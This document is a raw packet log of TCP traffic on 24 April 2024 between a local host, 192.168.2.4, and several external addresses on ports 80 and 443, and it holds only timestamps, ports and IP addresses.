Apr 24, 2024 10:27:14.910697937 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910734892 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910746098 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910772085 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910778046 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910815001 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.910835028 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.910860062 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.916841030 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.916881084 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.916912079 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.916918993 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.916923046 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.916963100 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.916992903 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917031050 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917047024 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917071104 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917102098 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917152882 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917237997 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917288065 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917506933 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917557955 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917609930 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917649984 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917666912 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917689085 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917699099 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917735100 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917762041 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917805910 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.917840004 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.917851925 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.920361996 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.920411110 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.920443058 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.920488119 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.920516968 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.920558929 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.920561075 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.920602083 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921037912 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921140909 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921145916 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921184063 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921188116 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921231031 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921247005 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921281099 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921305895 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921376944 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921377897 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921416044 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921418905 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921454906 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921457052 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921492100 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.921494961 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.921561003 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.924618006 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.924657106 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.924678087 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.924699068 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.924717903 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.924803019 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.924854994 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.924868107 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.924907923 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.924911976 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.924954891 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.925012112 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.925060987 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.925132990 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.925178051 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.925292969 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.925338984 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.925378084 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.925412893 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.925427914 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.925457001 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.925470114 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.925530910 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.925576925 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.926628113 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.926666021 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.926728964 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.926779032 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.926825047 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.926851034 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.926889896 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.926898956 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.926929951 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.926959991 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.926999092 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.927005053 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.927037954 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.927134037 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.927171946 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.927208900 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.927242994 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.927243948 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.927293062 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.927319050 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.927362919 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.927388906 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.927463055 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.931622982 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.931663036 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.931677103 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.931703091 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:14.931704044 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.931864023 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:14.933423996 CEST	49736	80	192.168.2.4	189.232.19.193
Apr 24, 2024 10:27:15.092480898 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.092545986 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.092566967 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.092590094 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.092595100 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.092619896 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.092638016 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.092664003 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.138292074 CEST	80	49736	189.232.19.193	192.168.2.4
Apr 24, 2024 10:27:15.258038044 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.258102894 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.258147955 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.258177996 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.258191109 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.258212090 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.279114008 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.279205084 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.279225111 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.279243946 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.279267073 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.279278994 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.280522108 CEST	49737	443	192.168.2.4	23.66.133.162
Apr 24, 2024 10:27:15.280539036 CEST	443	49737	23.66.133.162	192.168.2.4
Apr 24, 2024 10:27:15.305480957 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:15.305530071 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:15.305905104 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:15.306627035 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:15.306643009 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:16.321048021 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:16.321149111 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:16.487838030 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:16.487873077 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:16.489029884 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:16.491852045 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:16.492819071 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:16.540153980 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:17.145513058 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:17.145646095 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:17.145663023 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:17.145694017 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:17.145705938 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:17.145735979 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:17.736385107 CEST	49738	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:17.736408949 CEST	443	49738	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:18.071105957 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:18.071151018 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:18.071427107 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:18.071854115 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:18.071868896 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:18.729018927 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:18.729125023 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:18.735950947 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:18.735965014 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:18.737781048 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:18.737792015 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:19.464975119 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:19.465013981 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:19.465188026 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:19.478303909 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:19.478319883 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:19.797281027 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:19.797354937 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:19.797410965 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:19.800736904 CEST	49739	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:19.800754070 CEST	443	49739	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:19.816067934 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:19.816133976 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:19.824405909 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:19.824419022 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:19.824696064 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:19.824747086 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:19.826565027 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:19.830648899 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:19.830674887 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:19.830724001 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:19.831237078 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:19.831248045 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:19.872108936 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:20.487286091 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:20.487446070 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:20.548762083 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:20.548798084 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:20.550565004 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:20.550578117 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:20.586519003 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:20.586630106 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:20.586776018 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:20.586776018 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:20.591212988 CEST	49740	443	192.168.2.4	104.21.65.24
Apr 24, 2024 10:27:20.591253042 CEST	443	49740	104.21.65.24	192.168.2.4
Apr 24, 2024 10:27:21.567416906 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:21.567441940 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:21.567482948 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.567513943 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:21.567524910 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.567552090 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.567558050 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:21.567595005 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.567634106 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:21.567682981 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.573101997 CEST	49741	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.573115110 CEST	443	49741	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:21.586342096 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.586373091 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:21.586447954 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.587578058 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:21.587589025 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:22.239518881 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:22.239705086 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:22.241445065 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:22.241455078 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:22.251128912 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:22.251138926 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:23.291340113 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:23.291368008 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:23.291435957 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:23.291465998 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:23.291486979 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:23.292032003 CEST	49745	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:23.292064905 CEST	443	49745	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:23.716639042 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:23.716679096 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:23.716762066 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:23.717016935 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:23.717034101 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:24.372397900 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:24.372462034 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:24.374455929 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:24.374469042 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:24.383439064 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:24.383439064 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:24.383459091 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:24.383476019 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:25.287008047 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.287051916 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:25.287120104 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.299954891 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.299972057 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:25.502784014 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:25.502868891 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:25.502868891 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.502923012 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.507565975 CEST	49748	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.507601976 CEST	443	49748	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:25.957762003 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:25.957834959 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.962053061 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:25.962065935 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:26.228105068 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:26.228128910 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:26.997222900 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:26.997252941 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:26.997268915 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:26.997411966 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:26.997443914 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:26.997499943 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.138114929 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.138143063 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.138223886 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.138251066 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.138415098 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.387628078 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.387646914 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.387729883 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.387748003 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.387808084 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.515911102 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.515930891 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.516019106 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.516047001 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.517904043 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.631828070 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.631850004 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.632064104 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.632082939 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.632198095 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.706341982 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.706372023 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.706515074 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.706532001 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.706576109 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.770565987 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.770585060 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.770649910 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.770662069 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.770699024 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.770725012 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.845402956 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.845475912 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.845518112 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.845534086 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.845546007 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.845573902 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.918140888 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.918206930 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.918272018 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.918282032 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.918303013 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.918322086 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.969716072 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.969764948 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.969789028 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.969798088 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:27.969820976 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:27.969829082 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.018786907 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.018836975 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.018862009 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.018871069 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.018882990 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.018913031 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.062454939 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.062503099 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.062531948 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.062541008 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.062568903 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.062597990 CEST	49749	443	192.168.2.4	95.217.9.149
Apr 24, 2024 10:27:28.099232912 CEST	443	49749	95.217.9.149	192.168.2.4
Apr 24, 2024 10:27:28.099257946 CEST	443	49749	95.217.9.149	192.168.2.4
